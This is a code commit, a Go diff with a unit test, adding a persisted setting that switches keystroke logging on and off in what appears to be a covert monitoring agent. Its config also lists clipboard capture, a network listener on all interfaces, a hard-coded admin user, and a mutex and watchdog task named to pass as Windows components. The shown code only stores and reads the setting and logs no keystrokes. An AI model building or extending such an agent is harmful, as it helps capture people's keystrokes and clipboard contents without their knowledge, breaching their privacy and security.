feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build

lib/config/config.go

@@ -8,8 +8,10 @@ import (
 	"time"
 )
 
+// Version is the agent build version. scripts/build.sh overwrites this via -X.
+var Version = "1.0.0"
+
 const (
-	Version                    = "1.0.0"
 	DefaultAddr                = "0.0.0.0:5032"
 	MutexName                  = "win64_mp_Mutex"
 	RestartDelay               = 3 * time.Second
@@ -32,6 +34,7 @@ const (
 	KeylogSubdir               = "keystrokes"
 	LogsSubdir                 = "logs"
 	ClipboardSubdir            = "clipboard"
+	SettingsFileName           = "settings.json"
 	WatchdogTaskName           = "win64_mp_watchdog"
 	DefaultKeylogRetentionDays = 7
 	AuthUser                   = "admin"
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
 }
 
 func KeylogEnabled() bool {
+	if on, ok := readKeylogPref(); ok {
+		return on
+	}
+	return envKeylogEnabled()
+}
+
+func envKeylogEnabled() bool {
 	switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
 	case "0", "false", "no", "off":
 		return false

lib/config/settings.go

@@ -0,0 +1,75 @@
+package config
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+)
+
+type fileSettings struct {
+	Klogging      *bool `json:"klogging,omitempty"`
+	KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy
+}
+
+func settingsPath() (string, error) {
+	dir, err := InstallDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(dir, SettingsFileName), nil
+}
+
+func readKeylogPref() (bool, bool) {
+	s, err := loadFileSettings()
+	if err != nil {
+		return false, false
+	}
+	if s.Klogging != nil {
+		return *s.Klogging, true
+	}
+	if s.KeylogEnabled != nil {
+		return *s.KeylogEnabled, true
+	}
+	return false, false
+}
+
+func SetKeylogEnabled(on bool) error {
+	s, err := loadFileSettings()
+	if err != nil && !os.IsNotExist(err) {
+		s = fileSettings{}
+	}
+	s.Klogging = &on
+	s.KeylogEnabled = nil
+	return saveFileSettings(s)
+}
+
+func loadFileSettings() (fileSettings, error) {
+	path, err := settingsPath()
+	if err != nil {
+		return fileSettings{}, err
+	}
+	raw, err := os.ReadFile(path)
+	if err != nil {
+		return fileSettings{}, err
+	}
+	var s fileSettings
+	if err := json.Unmarshal(raw, &s); err != nil {
+		return fileSettings{}, err
+	}
+	return s, nil
+}
+
+func saveFileSettings(s fileSettings) error {
+	path, err := settingsPath()
+	if err != nil {
+		return err
+	}
+	if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
+		return err
+	}
+	raw, err := json.Marshal(s)
+	if err != nil {
+		return err
+	}
+	return os.WriteFile(path, append(raw, '\n'), 0o600)
+}

lib/config/settings_test.go

@@ -0,0 +1,45 @@
+package config
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestKeylogPrefOverridesEnv(t *testing.T) {
+	base := t.TempDir()
+	t.Setenv("XDG_CONFIG_HOME", base)
+	t.Setenv("APPDATA", base)
+	t.Setenv("KEYLOG_ENABLED", "1")
+
+	if !KeylogEnabled() {
+		t.Fatal("expected env default on")
+	}
+	if err := SetKeylogEnabled(false); err != nil {
+		t.Fatal(err)
+	}
+	if KeylogEnabled() {
+		t.Fatal("pref should disable keylog")
+	}
+	if err := SetKeylogEnabled(true); err != nil {
+		t.Fatal(err)
+	}
+	if !KeylogEnabled() {
+		t.Fatal("pref should enable keylog")
+	}
+	raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName))
+	if err != nil {
+		t.Fatal(err)
+	}
+	var s fileSettings
+	if err := json.Unmarshal(raw, &s); err != nil {
+		t.Fatal(err)
+	}
+	if s.Klogging == nil || !*s.Klogging {
+		t.Fatalf("saved settings = %s", raw)
+	}
+	if s.KeylogEnabled != nil {
+		t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw)
+	}
+}